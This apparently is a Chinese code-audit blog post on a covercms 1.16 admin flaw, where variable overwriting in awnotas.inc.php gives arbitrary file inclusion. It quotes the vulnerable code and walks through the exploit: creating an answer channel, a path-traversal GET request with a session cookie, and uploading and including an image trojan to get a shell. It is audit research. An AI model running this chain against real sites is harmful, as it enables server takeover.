0x00 环境介绍

CMS名称: covercms

运行环境: php 5.6.27-nts + apache + mysql

系统版本: 1.16

漏洞等级:高危

漏洞简介: 后台awnotas.inc.php文件,在包含文件时候未过滤变量直接包含,可利用变量覆盖的方式达到任意文件包含以getshell。

0x01 漏洞详情

文件位置:  /admina/awnotas.inc.php ,位置21行,代码缩减了一部分便于我们分析

$chids = array();
foreach($channels as $chid => $channel){ //
if(@$commus[$channel['cuid']]['cclass'] == 'answer'){ //必须满足这里,否则下面会直接退出
$chids[] = $chid;
$commu = read_cache('commu',$channel['cuid']);
if(!empty($commu['setting']['nota'])) $notaenabled = 1;
}
} empty($chids) && amessage('undefanswerchannel'); //如果不满足会直接退出,覆盖不了
empty($notaenabled) && amessage('notaclose'); //$notaenabled变量可以用覆盖的方式 绕过此处判断
$page = !empty($page) ? max(1, intval($page)) : 1;
submitcheck('bfilter') && $page = 1;
if($action == 'awnotasedit'){ //这里 //注入后getshell
//分析页面设置
$nauid = empty($nauid) ? 0 : $nauid; //不设置nauid
if($nauid && $aurl = read_cache('aurl',$nauid)){ //绕过 $u_tplname 被覆盖 $u_tplname=../../robots.txt
$u_tplname = $aurl['tplname'];
foreach(array('lists',) as $var) if($aurl['setting'][$var] !== '') ${'u_'.$var} = explode(',',$aurl['setting'][$var]);
}
...
if(!submitcheck('barcsedit')){ //令这里为false 直接不设置barcsedit变量
if(empty($u_tplname)){
...
}else @include(M_ROOT."./adminp/admina/$u_tplname");//直接包含 上传图片马,getshell

分析代码之后,发现只需要增加一个答疑的channels,覆盖两个变量,便可以通过上传图片马,包含图片马的方式直接getshell。(增加一个答疑channels是必须的,否则代码执行不下去)

操作步骤:

1,登陆后台

2,增加一个答疑的channels。

访问 http://www.target.com/admina.php?entry=channels&action=channeledit

点击添加,特俗交互项目选择答疑,模式名称随便填

3,发送如下请求,包含robots.txt为例

GET /admina.php?entry=awnotas&action=awnotasedit&notaenabled=1&u_tplname=../../robots.txt HTTP/1.1
Host: www.covercms.cc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: XPl_userauth=K6SSDCFuMWj6DF2NCB1UiFz9XImRQxVy6bieNTxDczuI7qWaNjsx8jf%2B; bktm_cookie_9=0; bktm_cookie_8=0; bktm_cookie_7=0; bktm_cookie_6=0; bktm_cookie_5=0; bktm_cookie_4=0; bktm_cookie_3=0; bktm_cookie_2=0; bktm_cookie_1=0; bktm_cookie_0=0; XPl_msid=H3pK4A
Connection: close

成功包含

4,上传一个图片马,包含图片马,直接getshell。(直接修改附件增加php后缀是不行的)

因为后台文件上传默认要大于1024k ,所以文件需要大一点。

或者直接修改最小上传限制为0即可

上传成功后会返回图片路径

配合之前的请求,修改一下路径,即可包含getshell。

 

0x02 总结与思考

配合我之前发的文章,就是一套带走了。

本文章仅用于学习研究之用,请勿用于违法犯罪!!

[代码审计]covercms 后台getshell的更多相关文章

  1. 【代码审计】后台Getshell的两种常规姿势

    0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...

  2. 极致CMS建站系统后台GETSHELL

    起因 正在学习代码审计 看到有人提交了一个注入https://www.cnvd.org.cn/flaw/show/CNVD-2019-42775 想试试看还有没有别的漏洞 受影响版本 v1.6.3 - ...

  3. 16.Tomcat弱口令 && 后台getshell漏洞

    Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...

  4. phpmyadmin4.8.1后台getshell

    phpmyadmin4.8.1后台getshell 包含文件进行getshell 姿势: ① 建立数据库的,新建表,字段名为一句话木马. 会生成对应的数据库文件,相应文件的路径查看 select @@ ...

  5. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

  6. 网站后台getshell

    phpmyadmin后台Getshell 获取 web 绝对路径 select @@basedir; 检测是否有写入权限 show global variables like 'secure%' ## ...

  7. 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势

    原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...

  8. Tomcat口令暴力猜解&&后台getshell

    Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...

  9. Opencart 后台getshell

    朋友实战中遇到的,帮忙看后台getshell. 修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体.. ...

随机推荐

  1. 在Linux中以普通用户开机自动运行脚本程序

    测试环境:CentOS6.5 管理员:root 普通用户:test1 实现目标:在Linux启动时,以普通用户test1自动运行位于根目录下的脚本程序test.py,该程序会在每次执行时自动向本地日志 ...

  2. hdu 1358 Period 最小循环节

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1358 分析:已知字符串,求其由最小循环节构成的前缀字符串. /*Period Time Limit: ...

  3. maven构建SSM项目

    对于小型项目来说,使用默认的maven配置项目即可,可是现在分布式项目越来越多,如果巧妙的使用maven部署项目这成了关键. maven的pom.jar.war: 要正确部署得对maven的pom.w ...

  4. for in,Object.keys和Object.getOwnPropertyNames的区别

    var parent = Object.create(Object.prototype, { a: { value: 1, writable: true, enumerable: true, conf ...

  5. 如何通过卡面标识区分SD卡的速度等级

    现在很多设备都可以插存储卡,而比较流行的就是SD(Secure Digital Memory Card)卡和Micro SD(原名TF,Trans-flash Card )卡,这两种卡主要就是尺寸不同 ...

  6. bzoj千题计划247:bzoj4903: [Ctsc2017]吉夫特

    http://uoj.ac/problem/300 预备知识: C(n,m)是奇数的充要条件是 n&m==m 由卢卡斯定理可以推出 选出的任意相邻两个数a,b 的组合数计算C(a,b)必须是奇 ...

  7. 流媒体技术学习笔记之(十四)FFmpeg进行笔记本摄像头+麦克风实现流媒体直播服务

    FFmpeg推送视频流,Nginx RTMP模块转发,VLC播放器播放,实现整个RTMP直播 查看本机电脑的设备 ffmpeg -list_devices true -f dshow -i dummy ...

  8. jdk 动态代理实现对目标对象的增强

    因为学习 spring框架的 AOP 所以,这里复习下动态代理,但是 spring 的底层动态代理实现是 cglib,jdk 这种呢可以引导新手入门 spring AOP 横向抽取机制 最典型的应用当 ...

  9. JavaScript执行优先顺序

    js在html中的加载执行顺序 1.加载顺序:引入标记<script />的出现顺序, 页面上的Javascript代码是HTML文档的一部分,所以Javascript在页面装载时执行的顺 ...

  10. Java 多线程(Thread) 同步(synchronized) 以及 wait, notify 相关 [实例介绍]

    场景描述 有一家很大的商场,在某市有几个商品配送中心,并有几家分店,这家商场经营很多的商品,平时运营情况是这样的: 根据各分店的商品销售情况,给分店配送相应需求量的商品:并上架到分店指让的位置,供客户 ...